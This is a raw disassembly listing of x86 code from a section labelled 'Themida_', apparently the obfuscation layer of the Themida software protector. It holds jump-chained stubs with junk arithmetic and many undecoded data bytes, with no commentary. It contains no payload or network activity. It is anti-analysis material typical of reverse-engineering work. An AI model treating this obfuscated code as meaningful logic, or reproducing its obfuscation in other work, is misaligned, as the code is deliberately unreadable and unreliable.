; ---------------------------------------------------------------------------


loc_54E5FE:				; CODE XREF: Themida_:0054BC4Aj
		and	edx, esi
		pop	esi
		dec	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5A8712F7h
		inc	eax
		shr	eax, 3
		sub	eax, 0FB5B94EBh
		jmp	loc_54E66E
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFBC5FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E621:				; CODE XREF: Themida_:00546D1Aj
		shr	ecx, 3
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 0FF3F7F35h
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_54B444
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 80h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E63F:				; CODE XREF: Themida_:00545E3Dj
		add	esp, 4
		jmp	loc_54EE72
; ---------------------------------------------------------------------------
		dw 0B050h
		dd 8E8C033h, 0FFA93EE9h, 24248BFFh, 9C2404FEh, 0FF5F29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E661:				; CODE XREF: Themida_:0054F8FAj
		not	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		jmp	loc_54E174
; ---------------------------------------------------------------------------


loc_54E66E:				; CODE XREF: Themida_:0054E616j
		sub	edx, eax
		pop	eax
		neg	edx
		jmp	loc_545A2B
; ---------------------------------------------------------------------------
		dd 931ABD55h, 0E8296149h, 0FF2434FFh, 835D2434h, 0E95104C4h
		dd 152Dh, 1B2BB53h, 1DE94BCEh, 50FFFFA3h, 0CFBE952h, 0DABE0000h
		dd 81059E51h, 51852E6h,	0E6B95151h, 31340F7Eh, 0EEC159CEh
		dd 60E95304h, 0E9FFFF93h, 0FFFF5EC6h, 5C240487h, 0FFDFF7E9h
		dd 4BE381FFh, 0F73D665Dh, 9D4AE9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E6DA:				; CODE XREF: Themida_:00546085j
		mov	[esp], edx
		mov	edx, ebx
		push	edx
		jmp	loc_544969
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 8Ch
		dd 8117BE00h, 0D919C4EDh, 81CD013Bh, 0D919C4C5h, 8CED813Bh
		dd 5917BE00h, 0FF740FE9h, 0FC009FFh, 0FFB78C84h, 241D68FFh
		dd 1C890000h, 73BE5624h, 31063F57h, 5E042474h, 18D4E9h
		dd 4C48300h, 9BB5352h, 0C105B976h, 96E902EBh, 87FFFFFFh
		dd 8F5C2414h, 59E92404h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E743:				; CODE XREF: Themida_:0054E399j
		add	esi, 587A093Bh
		jmp	loc_54AF84
; ---------------------------------------------------------------------------


loc_54E74E:				; CODE XREF: Themida_:0054B459j
		push	eax
		mov	eax, ebp
		jmp	loc_546D59
; ---------------------------------------------------------------------------
		dw 0ABB9h
		dd 0F7126472h, 5CE181D1h, 8119C278h, 9D5D96E1h,	36C9811Ah
		dd 55239847h, 0BDh, 0E9CD2900h,	0FFFF90F5h, 504F000h, 8124148Bh
		dd 4C4h, 5E2EE900h, 0E959FFFFh,	0FFFF5DF6h, 83242C8Bh
		dd 565B04C4h, 0FF6635E9h, 0E78957FFh, 6E4968h, 7B6FE900h
		dd 875BFFFFh, 0FCE9240Ch, 89FFFF84h, 4C581E5h, 83000000h
		dd 2C8704C5h, 18E95C24h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E7CB:				; CODE XREF: Themida_:00546266j
		pop	ecx
		jmp	loc_54C1C9
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0B4h
		dd 870EB45Eh, 87D1F7CBh, 0C1D3F7CBh, 0E907E3h, 68FFFFD1h
		dd 1C1A6B08h, 246C8159h, 0B370FC04h, 0EAE95029h, 81FFFFB4h
		dd 4C1h, 29B85000h, 0E9781953h,	0FFFFDC9Bh, 0A0C1CBDh
		dd 246C014Ch, 242C8B04h, 0FFF127E9h, 24248BFFh,	0FFBA1FE9h
		dd 2434FFFFh, 5E2434FFh, 1BF9E9h, 48B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_547084
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 3EC968h, 0D203E900h,	0E950FFFFh, 1D7Dh, 83242C8Bh, 48F04C4h
		dd 24248B24h, 24048B66h, 0FCE95552h, 57FFFF65h,	4D242C81h
		dd 5A28D57Eh, 7E4DC281h, 13E928D5h, 89FFFFAAh, 6BB241Ch
		dd 0E90EED4Ah, 0FFFF785Bh
; ---------------------------------------------------------------------------


loc_54E894:				; CODE XREF: Themida_:0054539Ej
		xor	edi, [esp]
		pop	esp
		jmp	loc_54C12F
; ---------------------------------------------------------------------------
		db 59h,	50h, 89h
		dd 6574E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8A6:				; CODE XREF: Themida_:0054CAA8j
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		sub	ebp, 3CC32AB2h
		xor	ebp, 56C0FD2Ah
		mov	edi, ebp
		pop	ebp
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_54DA1D
; ---------------------------------------------------------------------------
		dw 5147h
		dd 4A1B48B9h, 59CF3187h, 0FFFF9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E8D5:				; CODE XREF: Themida_:0054B906j
		pop	esi
		push	ebx
		mov	ebx, 76CC027Bh
		push	eax
		mov	eax, 3FE11091h
		or	ebx, eax
		pop	eax
		jmp	loc_54DB4F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9192C02h, 0FFFFCCB9h, 0E84DE950h, 0E983FFFFh, 240C8704h
		dd 2404895Ch, 0B951E089h, 1312765Dh, 65C8E981h,	0C1812D00h
		dd 19EDEF6Fh, 4E697C2Dh, 8254E923h, 0CBDFFFFh, 8100FA68h
		dd 0F63D20E5h, 9ED8153h, 298ABCA8h, 242C8BE8h, 4C481h
		dd 0EF810000h, 65A76641h, 0CDE9C701h, 0C1FFFFB5h, 0C78108EFh
		dd 0FB12F1F1h, 0FFD310E9h, 5C801FFh, 3D005DFAh,	697CBB53h
		dd 0D801234Eh, 32E9595Bh, 89FFFFC1h, 0BE562414h, 20B06642h
		dd 0D6E9F289h, 89000019h, 2BD242Ch, 2D000000h, 70922143h
		dd 0FF6782E9h, 0BB5358FFh, 0CF3DBC0Eh, 0FFB2D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E99D:				; CODE XREF: Themida_:0054F5F1j
		xor	ecx, 464D6513h
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		push	ebp
		mov	ebp, 47486539h
		jmp	loc_54618C
; ---------------------------------------------------------------------------
		dd 15FCEB81h, 0BF5765F4h, 68036D9h, 3C8BF829h, 0E1895124h
		dd 0FF6BE6E9h, 56B151FFh, 0E959C800h, 0FFFFE881h, 5424248Bh
		dd 0FF5D72E9h, 4C481FFh, 8F000000h, 248B2404h, 2434FF24h
		dd 72685158h, 0E9000019h, 0FFFFF8BBh, 42474FFh,	24048F5Eh
		dd 0FF7EF6E9h, 2434FFFFh, 51240C8Bh, 0C181E189h, 4, 1334BB53h
		dd 0D3E911D3h, 89FFFFC2h, 1CBA2414h, 81000000h,	4A74ECEAh
		dd 81FA0174h, 4A74ECC2h, 8132FF74h, 0CB62434h, 34FF78B8h
		dd 240C8B24h, 5004C483h, 405E089h, 83000000h, 6EE904C0h
		dd 0F7FFFF61h, 87E942D2h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA63:				; CODE XREF: Themida_:005483FEj
		add	edi, 150F12F8h
		pop	ecx
		or	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	edx, 12BC4CB9h
		jmp	loc_545400
; ---------------------------------------------------------------------------


loc_54EA80:				; CODE XREF: Themida_:0054B585j
		sub	ebx, edx
		sub	ebx, 0D193057h
		jmp	loc_54957D
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 50h
		dd 45464E3Eh, 0B084F581h, 0E93153B3h, 14FDE9h, 74FF5200h
		dd 4E90424h, 83FFFF83h,	0EF8104C4h, 4D6C1ACDh, 335FFA01h
		dd 14312414h, 5DB4E924h, 0B70FFFFFh, 0E38953C0h, 0FFB983E9h
		dd 81E189FFh, 4C1h, 8788E900h, 0EBC1FFFFh, 8EEB8104h, 813E2221h
		dd 8D1081EBh, 5BDF299Ch, 0FFD337E9h, 37E951FFh,	5000000Ah
		dd 0DE51E3B8h, 2ADC2D5Fh, 685552A1h, 0B171CD6h,	5DE8295Dh
		dd 0FFC8FAE9h, 6B151FFh, 80BAF180h, 53667EC1h, 0D93090B3h
		dd 0D9F65B66h, 8002E9C0h, 0CF30E7F1h, 0B5516659h, 0E9E82816h
		dd 0FFFF62D1h, 28E9D028h, 28FFFF8Bh, 61C0E9F8h,	0E5C1FFFFh
		dd 0E9E5D103h, 0FFFFBD3Ah
; ---------------------------------------------------------------------------


loc_54EB50:				; CODE XREF: Themida_:0054879Aj
		shl	ebp, 7
		jmp	loc_55004A
; ---------------------------------------------------------------------------
		dd 0B753665Ch, 0E9F830AEh, 0FFFFE308h, 643E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EB6A:				; CODE XREF: Themida_:00547069j
		add	ecx, 0FE37C19Dh
		add	ebp, ecx
		pop	ecx
		add	ebp, 5229DF34h
		sub	[edi+24h], ebp
		pop	ebp
		push	esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_54A7BB
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0FFAD99E9h, 2EC83FFh, 24148966h, 0FF93BCE9h,	2474FFFFh
		dd 5FEEE904h, 3C33FFFFh, 243C3124h, 5C243C33h, 0FFB1C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EBB1:				; CODE XREF: Themida_:005500E6j
		xchg	esi, [esp]
		pop	esp
		push	4F5Dh
		mov	[esp], eax
		push	esp
		jmp	loc_54754D
; ---------------------------------------------------------------------------
		db '\h:(',0
		dd 243C8900h, 56505F54h, 5D510FBEh, 5EF08973h, 0A2AEF505h
		dd 58C7018Ch, 8704C783h, 815C243Ch, 4C4h, 2434FF00h, 6824148Bh
		dd 0D63h, 89242C89h, 0BF5750E5h, 50C8377Ch, 0CF81EFD1h
		dd 44D02728h, 0AB4E781h, 0EF813D87h, 0D943BB92h, 0E2E9F889h
		dd 59FFFF61h, 0FFC8D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EC25:				; CODE XREF: Themida_:0054D137j
		mov	ch, bh
		pop	ebx
		xor	ch, ah
		pop	eax
		add	ch, 0CFh
		add	al, 0F8h
		add	al, ch
		sub	al, 0F8h
		push	dword ptr [esp]
		jmp	loc_549813
; ---------------------------------------------------------------------------
		dd 5AD1285Bh, 66E4E980h, 0DA55E953h, 0E959FFFFh, 0FFFFF786h
		dd 0E987048Fh, 0FFFF5932h
; ---------------------------------------------------------------------------


loc_54EC58:				; CODE XREF: Themida_:005486C9j
		add	edi, esi
		jmp	loc_549D6E
; ---------------------------------------------------------------------------
		db 83h
		dd 8F5404ECh, 0EC812404h, 4, 0BD242C89h, 4, 4246C01h, 83242C8Bh
		dd 815D04C4h, 4C5h, 2B85000h, 1000000h,	2434FFC5h, 4C48158h
		dd 87000000h, 248B242Ch, 243CD224h, 92CBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ECA6:				; CODE XREF: Themida_:0054B612j
		shl	edx, 1
		push	4D8Fh
		mov	[esp], ebp
		push	1
		pop	ebp
		add	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_545C39
; ---------------------------------------------------------------------------
		db 0BFh, 36h, 3Eh
		dd 182D0174h, 29354E1Fh, 1F1805F8h, 55F354Eh, 68036D9h
		dd 0E9241C8Bh, 0FFFFBB38h
; ---------------------------------------------------------------------------


loc_54ECE0:				; CODE XREF: Themida_:0054FF3Cj
		push	esp
		pop	ebp
		push	edi
		mov	edi, 664F6A21h
		add	edi, 1C42AB3h
		add	edi, 1
		jmp	loc_547FE4
; ---------------------------------------------------------------------------
		dw 0ED68h
		dd 5B35AB67h, 895BD889h, 9B9BE9C1h, 7FE9FFFFh, 81FFFF58h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E389241Ch, 0DE69E950h
		dd 815FFFFFh, 1A0092CBh, 0A1B85061h, 29549CEAh,	0DA0158C3h
		dd 0A0BD555Bh, 1255018h, 242C8BEAh, 0FFD381E9h,	24048FFFh
		dd 5224248Bh, 800FB353h, 0E951A5F3h, 0FFFFD2A0h, 8F04C483h
		dd 815C2404h, 64466CC3h, 43BE5605h, 0E96C4A1Ch,	0FFFF675Fh
		dd 46C368h, 0A728E900h,	1C8BFFFFh, 0E81BE924h, 0EB80FFFFh
		dd 0C3285A56h, 80F2C380h, 0E5E9FAC3h, 0C0FFFFB1h, 72E902ECh
		dd 33FFFFC2h, 3C31243Ch, 243C3324h, 0D224248Bh,	0E99C2424h
		dd 0FFFF57D6h, 0C681E689h, 4, 0FFCA8EE9h, 7DC181FFh, 8133C75Eh
		dd 0DD9866F1h, 3BEB8157h, 1272978h, 3BC381CBh, 59272978h
		dd 0FFC5FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EDE1:				; CODE XREF: Themida_:0054F43Bj
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_546F95
; ---------------------------------------------------------------------------
		db 53h
		dd 0D3F6F388h, 0E95BDE88h, 0C7Dh
; ---------------------------------------------------------------------------


loc_54EDFC:				; CODE XREF: Themida_:00548B3Dj
		or	eax, 0FD92C3Fh
		jmp	loc_5475DF
; ---------------------------------------------------------------------------


loc_54EE06:				; CODE XREF: Themida_:0054F21Dj
		sub	ecx, ebp
		pop	ebp
		push	ebx
		jmp	loc_546731
; ---------------------------------------------------------------------------
		db 81h
		dd 3EB9CCEEh, 5EF33185h, 2DD9BF57h, 81474E5Dh, 83DC29C7h
		dd 5FFA01D7h, 0FFE9E3E9h, 24048FFFh, 0FFAFF4E9h, 1C8966FFh
		dd 74FF6624h, 8B660224h, 0C481241Ch, 2,	0FF9BEBE9h, 815B59FFh
		dd 5133ECC3h, 81C3015Ch, 5133ECEBh, 0C381585Ch,	2, 2474FF53h
		dd 48F5B04h, 6384E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE72:				; CODE XREF: Themida_:0054E645j
		push	4E8Bh
		mov	[esp], ebp
		jmp	loc_54B5D6
; ---------------------------------------------------------------------------
		db 1
		dd 2A2E05F8h, 0E95F3CA8h, 0FFFF5A04h, 240C8B66h, 5B6F68h
		dd 24148900h, 6850E289h, 0C157DD8h, 8324048Bh, 0E0C104C4h
		dd 0D833E905h, 5468FFFFh, 0E9000048h, 0FFFFA4BCh, 0E95AD001h
		dd 0FFFF6821h
; ---------------------------------------------------------------------------


loc_54EEC0:				; CODE XREF: Themida_:005468EAj
		mov	ecx, 75456851h
		inc	ecx
		sub	ecx, 7545684Eh
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5468F6
; ---------------------------------------------------------------------------


loc_54EEE3:				; CODE XREF: Themida_:005475E5j
		and	esi, 27DA62CDh
		xor	esi, 41926296h
		and	eax, esi
		jmp	loc_549786
; ---------------------------------------------------------------------------


loc_54EEF6:				; CODE XREF: Themida_:0054CDD7j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5467CD
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0E9E78957h, 0FFFFBEABh, 5F2414F7h, 5DBEEF81h, 0FA29795Fh
		dd 0FFF403E9h, 8BDF89FFh, 0C6E9241Ch, 81FFFFE2h, 3E78ACCBh
		dd 7EC3813Bh, 0E9DDB542h, 0FFFFBD2Dh, 0E13043B4h, 66E1D058h
		dd 667BD668h, 0B0240489h, 66C10820h, 0C8885058h, 0FF851DE9h
		dd 0E8015DFFh, 0FFC551E9h, 2EE953FFh, 0FFFF67h,	24048BE7h
		dd 4C481h, 0F8000000h, 0E920045Bh, 20Bh, 0FF560DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EF7D:				; CODE XREF: Themida_:0054B695j
		pop	esi
		xor	edx, 7F4D6703h
		jmp	loc_544AA3
; ---------------------------------------------------------------------------


loc_54EF89:				; CODE XREF: Themida_:00549075j
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5495E7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aQhuw		db '$QhUW',0
		dw 8900h
		dd 4832424h, 68590424h,	7087h, 0FFCBA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EFD5:				; CODE XREF: Themida_:0054C68Dj
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4


loc_54EFDD:				; CODE XREF: Themida_:005472ACj
					; Themida_:0054CF7Aj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 63A9767Ch
		shl	ecx, 7
		and	ecx, 7FDE56FFh
		not	ecx
		dec	ecx
		dec	ecx
		not	ecx
		sub	ecx, 549A15FEh
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 73024D70h
		not	edx
		dec	edx
		jmp	loc_544AD0
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 2C8904ECh, 815D5424h, 4C5h, 4C58100h, 87000000h
		dd 248B242Ch, 4EC8124h,	0E9000000h, 0FFFF8728h,	0D10860B2h
		dd 0FF9F27E9h, 0E38143FFh, 38A453A7h, 4B03E3C1h, 0C381EBD1h
		dd 774BF330h, 5AE9DD29h, 89FFFFBDh, 4C781E7h, 51000000h
		dd 0FFC161E9h, 52515FFFh, 0FF6E5CE9h, 20CA81FFh, 0C1545911h
		dd 0F28108E2h, 0FFF13304h, 535AD701h, 7BEB6856h, 465E585Dh
		dd 0B4DE9h, 4E1C100h, 462CC181h, 0C1811B33h, 0BE91436h
		dd 3BEFF181h, 0C1815FF3h, 0FFFFFFFFh, 9F8DC181h, 0BA52AD23h
		dd 66DB4CCCh, 0FF95A0E9h, 50665DFFh, 0D30DB866h, 66C20166h
		dd 0D0296658h, 29665A66h, 665266D8h, 66274DBAh,	5A66D001h
		dd 8904EC83h, 6866243Ch, 0D9E93C95h, 4FFFF55h, 58C230E1h
		dd 0F8E9D000h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F0FF:				; CODE XREF: Themida_:0054DB8Bj
		add	esp, 4
		jmp	loc_54CD75
; ---------------------------------------------------------------------------
		db 0B1h
		dd 6CB652C8h, 2846C180h, 46E980F1h, 0B4E9505Ah,	0E9FFFFA3h
		dd 0FFFF546Ah
; ---------------------------------------------------------------------------


loc_54F120:				; CODE XREF: Themida_:00549648j
		shl	ebx, 7
		and	ebx, 14213EE7h
		sub	ebx, 12E7Ch
		add	ebp, 2CA1720Fh
		add	ebp, ebx
		jmp	loc_5449F9
; ---------------------------------------------------------------------------
		dd 68242C89h, 10CD4BCCh, 832E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F149:				; CODE XREF: Themida_:0054A154j
		mov	esi, 68F9211Dh
		push	ebx
		mov	ebx, 449E7704h
		dec	ebx
		dec	ebx
		push	esi
		mov	esi, 7EC175A2h
		or	ebx, esi
		pop	esi
		shl	ebx, 5
		jmp	loc_54A74A
; ---------------------------------------------------------------------------
		db 87h
		dd 335C242Ch, 4312404h,	0A25AE924h, 0C801FFFFh,	8904EC83h
		dd 0A7E9241Ch, 28FFFF7Bh, 0EE49E9D8h, 5966FFFFh, 0E9F7E980h
		dd 0FFFFC21Fh, 0FF58C131h, 0F7E92434h, 2800000Fh, 148B66F3h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_547F76
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48159h, 68000000h,	3D03h, 0E9240489h, 0FFFF53C6h
		dd 8904EC83h, 58542404h, 405h, 5FFEE900h, 0E981FFFFh, 4B61723Ah
		dd 0FF168h, 0B4FBE900h,	0CB01FFFFh, 75E90303h, 66FFFFF9h
		dd 68240C8Bh, 74C1h, 51240C89h,	0C181E189h, 4, 4E981h
		dd 0FF510000h, 59042474h, 0FF91EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F215:				; CODE XREF: Themida_:0054941Dj
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_54EE06
; ---------------------------------------------------------------------------


loc_54F222:				; CODE XREF: Themida_:00545DC8j
		mov	eax, 111C6677h
		push	ebp
		mov	ebp, 41352FBFh
		jmp	loc_54DC48
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 8B24048Fh,	1C892424h, 16824h, 215B0000h, 2434FFD8h
		dd 4C4835Bh, 0E2D1C209h, 43BE68h, 240C8900h, 0BC20F8B9h
		dd 0AC1E96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F266:				; CODE XREF: Themida_:0054A0D0j
		mov	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_5468BC
; ---------------------------------------------------------------------------


loc_54F277:				; CODE XREF: Themida_:0054D23Cj
		mov	[esp], edx
		push	eax
		push	37EC1631h
		pop	eax
		add	eax, 0C813E9D3h
		mov	edx, eax
		pop	eax
		jmp	loc_5459D3
; ---------------------------------------------------------------------------
		dw 1487h
		dd 85665C24h, 0EFE99CC8h, 0BFFFFF52h, 34C04E38h, 12EE68h
		dd 7A22E900h, 34FFFFFFh, 0C283E924h, 0BB53FFFFh, 4, 875BDF01h
		dd 72E9243Ch, 56FFFFEBh, 3A5DEEBEh, 0DCE95568h,	89FFFFF0h
		dd 56B9240Ch, 0E95616F9h, 0FFFF60AAh, 0DCFBE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F2E2:				; CODE XREF: Themida_:0054F327j
		add	ebp, 4
		push	edx
		mov	edx, 27375D5h
		or	edx, 5B8E6F74h
		shl	edx, 8
		add	edx, 800B04h
		sub	ebp, 5D1118BEh
		add	ebp, edx
		add	ebp, 5D1118BEh
		jmp	loc_548DC7
; ---------------------------------------------------------------------------
		dd 1E2FB951h, 0B0E904A8h, 89FFFFC7h, 0D3EEE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F322:				; CODE XREF: Themida_:0054A36Ej
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54F2E2
; ---------------------------------------------------------------------------
		dd 5104C483h, 17738DB9h, 7E9C103h, 436E181h, 0BB536BBBh
		dd 20422h, 515BD929h, 0B856BFB9h, 0EE5CE90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F352:				; CODE XREF: Themida_:0054AA4Dj
		push	ebx
		pop	dword ptr [edi+24h]
		pop	ebx
		sub	ebx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	7424h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_548EEE
; ---------------------------------------------------------------------------
		db 4, 0C0h, 0E9h
		dd 0FFFFCAEFh, 4C481h, 48F0000h, 24248B24h, 0FFE81AE9h
		dd 802DB6FFh, 0EE809ACEh, 97EE807Bh, 0E95AF088h, 0FFFF897Eh
; ---------------------------------------------------------------------------


loc_54F3B0:				; CODE XREF: Themida_:0054877Ej
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54A150
; ---------------------------------------------------------------------------
		db 58h,	0C0h, 0EAh
		dd 0E7C28003h, 8602E2C0h, 0E9D8F6C2h, 0FFFFB9BFh, 9C240420h
		dd 0FF51B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F3D9:				; CODE XREF: Themida_:00547D4Bj
		xor	ebx, ecx
		jmp	loc_54475B
; ---------------------------------------------------------------------------
		dd 4A7505ADh, 262D5326h, 109446Fh, 6F2605D8h, 0BE560944h
		dd 6A475683h, 0C14ED6F7h, 0D9E904EEh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F403:				; CODE XREF: Themida_:0054B826j
		add	edx, 4
		add	edx, 4
		jmp	loc_549984
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 4
		dd 4D25C24h, 6BE99C24h,	33FFFF51h, 2BE9241Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F427:				; CODE XREF: Themida_:00547D3Bj
		xor	eax, 2915604Dh
		xor	eax, 43273029h
		add	eax, 1E1526AAh
		add	eax, 9EBFD74Ch
		jmp	loc_54EDE1
; ---------------------------------------------------------------------------


loc_54F440:				; CODE XREF: Themida_:00548C32j
		push	dx
		jmp	loc_54A7AC
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FEEA81h, 0EA816C70h, 143B0190h, 0C281F201h,	143B0190h
		dd 0FEC281h, 0E95E6C70h, 0FFFFB466h, 0E9F3015Dh, 0FFFF63A5h
		dd 0A950F4BDh, 5DEF296Ah, 0BE5E9h, 240C8B00h, 404C483h
		dd 0E9D82805h, 0FFFFC13Fh, 24BAh, 80BB5300h, 83541637h
		dd 4B43FFEBh, 0A6EB8143h, 0E94124C0h, 0FFFF86AEh
; ---------------------------------------------------------------------------


loc_54F4A8:				; CODE XREF: Themida_:0054AEDEj
		sub	ebp, 0F342A656h
		jmp	loc_54A261
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0CAEC80C4h, 205CC480h, 28E958E3h, 29FFFFE4h,	2BCB2DC8h
		dd 34FF6814h, 0C4835924h, 114F0504h, 15E90C26h,	0BFFFFF55h
		dd 236C674Ah, 0E95FF829h, 0FFFFC670h
; ---------------------------------------------------------------------------


loc_54F4E8:				; CODE XREF: Themida_:005472D3j
		xor	edi, 0D124B16h
		sub	eax, edi
		pop	edi
		add	eax, ebp
		add	eax, 69CD290Fh
		push	ecx
		mov	ecx, 556D281Ah
		sub	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_54A8B0
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFBF4Ah, 0E95AD001h, 0FFFF815Eh
; ---------------------------------------------------------------------------


loc_54F51C:				; CODE XREF: Themida_:00544CCDj
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54AFA3
; ---------------------------------------------------------------------------
		dw 0D368h
		dd 596CD846h, 45FCE981h, 0CF89F5FFh, 78EF8159h,	4716D032h
		dd 20B2CF81h, 0DFF74CEDh, 0ADC78147h, 31A06157h, 0B2D1E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F55A:				; CODE XREF: Themida_:00545BC2j
		push	ecx
		mov	ecx, 78831AEAh
		xor	ebp, ecx
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54A22E
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 1Ch
		push	esi
		push	ecx
		mov	ecx, 4DB22D2Ah
		push	0
		jmp	loc_54A513
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF59EEh, 601AD32Dh, 68D8016Ch, 5D12h, 83242C89h
		dd 8AE904ECh, 4BFFFFDEh, 0FFAFEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F5B9:				; CODE XREF: Themida_:0054E541j
		mov	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 59C56C6Fh
		add	ebx, 0FBA7BBABh
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 6B461504h
		jmp	loc_54848B
; ---------------------------------------------------------------------------


loc_54F5DD:				; CODE XREF: Themida_:0054474Ej
		push	40000h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_54D3BB
; ---------------------------------------------------------------------------


loc_54F5EE:				; CODE XREF: Themida_:0054A529j
		shr	ecx, 5
		jmp	loc_54E99D
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2, 24360005h, 6137E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F606:				; CODE XREF: Themida_:0054CD24j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55057C
; ---------------------------------------------------------------------------
		db 4Fh,	97h, 0F7h
		dd 0AAB7E9D0h, 0EA81FFFFh, 4D9B5045h, 83243C8Bh, 72E904C4h
		dd 89FFFFF4h, 90C6E9C5h, 81ACFFFFh, 2ECh, 0C896600h, 0E97EB124h
		dd 0FFFFAC9Ah, 4EC81h, 34890000h, 3B2E924h, 0EC810000h
		dd 4, 0BD242C89h, 731207ACh, 505DEA29h,	0F4F7FB8h, 50D0F71Bh
		dd 582414F7h, 2A42E135h, 58C22938h, 0FF4F09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F681:				; CODE XREF: Themida_:0054A46Dj
		push	ebp
		mov	ebp, 6E47282h
		shl	ebp, 4
		shl	ebp, 4
		jmp	loc_550461
; ---------------------------------------------------------------------------
		dw 0CF81h
